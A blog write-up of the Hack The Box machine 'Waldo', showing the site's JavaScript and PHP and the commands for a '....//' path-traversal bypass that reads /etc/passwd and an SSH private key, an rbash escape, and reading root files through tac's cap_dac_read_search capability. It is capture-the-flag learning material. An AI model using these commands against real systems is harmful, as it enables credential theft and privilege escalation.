Waldo: Hackthebox walkthrough

Waldo: Hackthebox walkthrough

Waldo is a medium linux machine from hackthebox. The initial foothold on the box is based on understanding a bunch of .php files that leads to sensitive file read such as the ssh private key. Once inside the box, linux enumeration depicts that there is a docker running. The user of the docker needs to be guessed to get successful entry to docker. Inside docker, there is rbash which restricts most of the commands. After successful escaping of rbash, enumeration scripts can be easily run that outputs user having some capabilities. The capabilities assigned can be used to do privileged file reads!!

It was really a fun box to pwn! So, with all that said, lets get started!!

Starting with nmap scan, there were only 2 open ports and a filtered port 8888!

# nmap -sC -sV -oA waldo.nmap 10.10.10.87

As always, I checked the contents of http://10.10.10.87, and a weird page landed. 

Clicking through buttons, It was easy to recognize that one could add and delete lists.

Also list1, list2 are clickable. And one can add data inside it.

On Viewing the page source, I found this

Path to getting the user

Lists.js was executing as a part of script.

Since the file was readable, I listed its contents

function writeList(listNum, data){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","fileWrite.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('listnum=' + listNum + '&data=' + data);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}


function deleteList(listNum){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","fileDelete.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('listnum=' + listNum);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		listLists();
		return xhttp.responseText;
	}else{
	}
}


function addList(){
	for (var i=1; true; i++){
		if(document.getElementById("list" + i) === null){
			writeList("" + i, "");
			listLists();
			break;
		}
	}
}


function listLists(){
	document.getElementById("main").innerHTML = '<ul id="listOfLists"></ul>';
	var result = JSON.parse(readDir("./.list/"));
	if(result.length > 2){
		for(var i = 2; i < result.length; i++){
			document.getElementById("listOfLists").innerHTML += "<li><p style='cursor:pointer' id='" + result[i] 
				+ "' onclick='printList(\"./.list/" + result[i] + "\")'>" + result[i] 
				+ "</p><button onclick=deleteList('" + result[i].substring(4) + "')>Delete</button></li>";
		}
	}else{
		console.log("invalid response");
	}
	document.getElementById("main").innerHTML += '<button onclick=addList()>Add List</button>';
}


function appendListItem(){
	for(var i =1; true; i++){
		if(document.getElementById("listItem"+i) === null){
			document.getElementById("list").innerHTML +=  "<li><p style='cursor:text' id='listItem" + i 
				+ "'onkeydown='return keyDownHandler(event, this)' onblur=saveList() contenteditable='true'>New Item</p><button onclick=deleteListItem(this) name='" 
				+ i + "'>Delete</button></li>";
			break;
		}
	}
}


function deleteListItem(e){
	var id = Number(e.getAttribute("name"));
	var listNum = document.getElementById("listName").getAttribute("name");
	var json = JSON.parse(strList());
	if(json[id] !== undefined){
		for(var i=id; true; i++){
			if(json[i+1] !== undefined){
				json[i] = json[i+1]; 
			}else{
				delete json[i];
				break;
			}
		}
	}
	writeList(listNum, JSON.stringify(json));
	printList("./.list/list"+listNum);
}


function strList(){
	var tempJSON = {};
	for(var i=1; true; i++){
		if(document.getElementById("listItem"+i) !== null){
			tempJSON[i] = revertSpecial(document.getElementById("listItem"+i).innerHTML);
		}else{
			return JSON.stringify(tempJSON);
		}
	}
}


function keyDownHandler(event, e){
	if(event.code === "Enter"){
		e.blur();	
		return false;
	}
}


function saveList(){
	var jsonStr = strList();
	var listNum = document.getElementById("listName").getAttribute("name");
	return writeList(listNum, jsonStr);
}


function revertSpecial(inStr){
	inStr = inStr.replace(/&nbsp;/g, ' ');
	inStr = inStr.replace(/&quot;/g, '\\"');
	inStr = inStr.replace(/&num;/g, '#');
	inStr = inStr.replace(/&dollar;/g, '$');
	inStr = inStr.replace(/&percnt;/g, '%');
	inStr = inStr.replace(/&amp;/g, '&');
	inStr = inStr.replace(/&apos;/g, "\\'");
	inStr = inStr.replace(/&lpar;/g, '(');
	inStr = inStr.replace(/&rpar;/g, ')');
	inStr = inStr.replace(/&ast;/g, '*');
	inStr = inStr.replace(/&plus;/g, '+');
	inStr = inStr.replace(/&comma;/g, ',');
	inStr = inStr.replace(/&minus;/g, '-');
	inStr = inStr.replace(/&period;/g, '.');
	inStr = inStr.replace(/&colon;/g, ':');
	inStr = inStr.replace(/&sol;/g, '/');
	inStr = inStr.replace(/&semi;/g, ';');
	inStr = inStr.replace(/&lt;/g, '<');
	inStr = inStr.replace(/&equals;/g, '=');
	inStr = inStr.replace(/&gt;/g, '>');
	inStr = inStr.replace(/&quest;/g, '?');
	inStr = inStr.replace(/&commat;/g, '@');
	inStr = inStr.replace(/&lsqb;/g, '[');
	inStr = inStr.replace(/&rsbp;/g, ']');
	inStr = inStr.replace(/&bsol;/g, '\\\\');
	inStr = inStr.replace(/&Hat;/g, '^');
	inStr = inStr.replace(/&lowbar;/g, '_');
	inStr = inStr.replace(/&grave;/g, '`');
	inStr = inStr.replace(/&lcub;/g, '{');
	inStr = inStr.replace(/&rcub;/g, '}');
	inStr = inStr.replace(/&verbar;/g, '|');
	inStr = inStr.replace(/\\/g, '\\\\');
	inStr = inStr.replace(/"/g, '\\\"')
	return escape(inStr);
}


function readDir(path){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","dirRead.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('path=' + path);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}


function readFile(file){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","fileRead.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('file=' + file);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}


function printList(file){
	document.getElementById("main").innerHTML = "<h2 id=\"listName\" name='" + file.substring(12) + "'>" + file.split("/")[2] + "</h2>";
	document.getElementById("main").innerHTML += "<ol id=list></ol>";
	var contents = JSON.parse(JSON.parse(readFile(file))['file']);
	for(var i =1; true; i++){
		if(contents[i] === undefined){
			break;
		}
		document.getElementById("list").innerHTML +=  "<li> <p style='cursor:text' id='listItem" + i 
			+ "'onkeydown='return keyDownHandler(event, this)' onblur=saveList() contenteditable='true'>" 
			+ contents[i] + "</p><button onclick=deleteListItem(this) name='" + i + "'>Delete</button></li>";
	}
	document.getElementById("main").innerHTML += '<button onclick=appendListItem()>Add</button>';
	document.getElementById("main").innerHTML += '<button onclick=listLists()>Back</button>';
}


function toggleHint() {
		var e = document.getElementsByClassName('content-block');
		for(var i = 0; i < e.length; i++){
			if(e[i].style.display == 'block' || e[i].style.display == '')
				e[i].style.display ='none';
			else
				e[i].style.display ='block';
		}
		setTimeout(function(){
			var e = document.getElementsByClassName('content-block');
			for(var i = 0; i < e.length; i++){
				if(e[i].style.display == 'block' || e[i].style.display == '')
					e[i].style.display ='none';
				else
					e[i].style.display ='block';
			}
		}, 1000);
}

Viewing at the various function, I saw a lot of filename being used such as dirRead.php, fileRead.php, fileWrite.php. Sounded interesting!!

I quickly intercepted the request for adding the list and inserting data to the list.

POST /fileWrite.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 218
Origin: http://10.10.10.87
Connection: close
Referer: http://10.10.10.87/list.html
 
listnum=1&data={"1":"New%Item","2":"New%20Item","3":"New%20Item"}
POST /dirRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://10.10.10.87
Connection: close
Referer: http://10.10.10.87/list.html
Cache-Control: max-age=0
 
path=./.list/
POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://10.10.10.87
Connection: close
Referer: http://10.10.10.87/list.html
 
file=./.list/list1

Looking at these requests, I found one thing common. All of them were taking some post parameter. So according to the requests, list was a directory and list1 was a file having contents in it. And with the help of fileRead.php one could easily read ./.list/list1. Cool!!

First thing that came to my mind was directory traversal to read sensitive files. I tried around for a while, but something was going wrong!

I realized that i could potential read the contents of fileRead.php so study what exactly its doing. And we knew that the path for fileRead.php will be same as list ( implied from from list.js ).

Got the response in burp suite, but it was messed up. So i downloaded jq from apt repository. Jq is JSON processor that basically beautifies the json output making is more readable.

 ⚡ root@kali  ~/Desktop/htb/waldo> apt install jq

 ⚡ root@kali  ~/Desktop/htb/waldo>  curl http://10.10.10.87/fileRead.php -d "file=./fileRead.php" | jq -r .file # file is the object having the data

<?php
if($_SERVER['REQUEST_METHOD'] === "POST"){
    $fileContent['file'] = false;
    header('Content-Type: application/json');
    if(isset($_POST['file'])){
   	 header('Content-Type: application/json');
   	 $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
   	 if(strpos($_POST['file'], "user.txt") === false){
   		 $file = fopen("/var/www/html/" . $_POST['file'], "r");
   		 $fileContent['file'] = fread($file,filesize($_POST['file']));  
   		 fclose();
   	 }
    }
    echo json_encode($fileContent);
}

After reading the code, I realized why I was unable to perform directory traversal. Its because the str_replace is replacing “../” with “”. But the loophole here is that str_replace does the replacement only one time it encounters “../”. Therefore if we write, “….//”, it will replace one “../” to “” but will leave the other one forming as it is and this can potentially bypass the constraints. 

I tried reading the contents of /etc/passwd with the above bypass and it worked!!

To get a good formatted result, I made a post request with curl.

 # curl http://10.10.10.87/fileRead.php -d "file=....//....//....//etc/passwd" | jq -r .file

With the result, I found out that nobody is the user present on the box with /bin/sh shell. Cool!

That means that we could potentially grab user.txt as well.

Changing -d in curl to ….//….//….//home/nobody/user.txt fetched the user.txt. Awesome! Without having a shell I was able to grab the user flag. 

But what next??? I was still leading nowhere after getting the user flag.

Then i remembered that similar to fileRead.php, there was also dirRead.php.

I was able to grab the contents of dirRead.php, by doing all the same I did for fileRead.php. By using this functionality, I could list the different files present in the directories.

# curl http://10.10.10.87/fileRead.php -d "file=./dirRead.php" | jq -r .file

It was doing the same thing : replacing ../ to “”. Cool!!

I made a post request to dirRead.php and added the post parameter as path with its value ….//….//….//home/nobody

A response was obtained with .ssh present inside /home/nobody. Next I listed the contents of .ssh directory.

With path = ….//….//….//home/nobody/.ssh

The result showed that the private key name couldnt be brute-forced. Here .monitor was the name of private key!!!

Again with fileRead.php, I read the contents of .monitor and piped it to the file on local machine. Also changed the permissions of the file to 600.

# curl http://10.10.10.87/fileRead.php -d "file=....//....//....//home/nobody/.ssh/.monitor" | jq -r .file >id_rsa; chmod 600 id_rsa

Nobody is now logged in!! Grab the user.txt if not done earlier.

Pwning the root!!!

I downloaded linpeas.sh on the waldo machine and enumerated!

One interesting thing was having supervisord on the box and the other was, there was a docker running on the machine.

I tried to ssh using user- nobody, but had no luck. Then I did some guess work. The name of the ssh private key was .monitor and that was weird. So maybe it could have been the user of docker.

 waldo:~$ cd .ssh
 waldo:~/.ssh$ ssh -i .monitor monitor@172.17.0.1

I was inside docker, but simple commands like cd too was restricted. That implies that I maybe in a rbash shell. 

We can also check that with the following command.

#echo $SHELL
/bin/rbash
Commands that were working

Then i ran echo $PATH to see the path for the user. On listing the contents of various paths, I found logMonitor having the permissions of rwx. That was exactly. what i wanted. Now I can modify this file to escape the rbash restrictions.

I opened app-dev/logMonitor with red. 

red is an utility used to create, display, modify and otherwise manipulate text files. Its a line-oriented text editor. Here, r stands for restricted making it restricted ed.

w is used to write contents to the file 
q quits from the red editor
/bin/bash will be appended to the end of logMonitor file

When logMonitor is now executed, /bin/bash gets executed that eventually escapes the rbash.

Now commands like cd started to work, but there was still a problem. The $PATH didnt got updated and as a result, commands like wget, curl, nc (that were present on base machine) were not working.

So run echo $PATH on attacking machine. 

Paste that output into command on the docker

# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

This will update the path of the current user leading to working of every binary present on the docker.

So now that we are again in a normal shell, lets grab linpeas.sh from attacking machine.

In the output, I found a section of capabilities and /usr/bin/tac had cap_dac_read_search+ei capabilities.

Upon searching the internet for capabilities, I found this:

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. In our case, CAP_DAC_READ_SEARCH bypass file read permission checks and directory read and execute permission checks.

That implies that monitor can read any file on the box using the tac command.

tac command in Linux is used to concatenate and print files in reverse. his command writes each FILE to standard output, the last line first. 

Also I found a link to gtfobins, where tac can be exploited. 

# /usr/bin/tac /root/root.txt

Thats all for the blog post!! Thanks for reading. For more content on infosec visit here

Until then, happy hunting!!

shreyapohekar

I’m Shreya Pohekar, a Senior Product Security Analyst at HackerOne. I enjoy sharing my thoughts and insights through blogging, turning complex security topics into engaging and accessible content for my readers.

This Post Has One Comment

  1. zortilonrel

    I conceive this site holds some rattling wonderful information for everyone : D.

Leave a Reply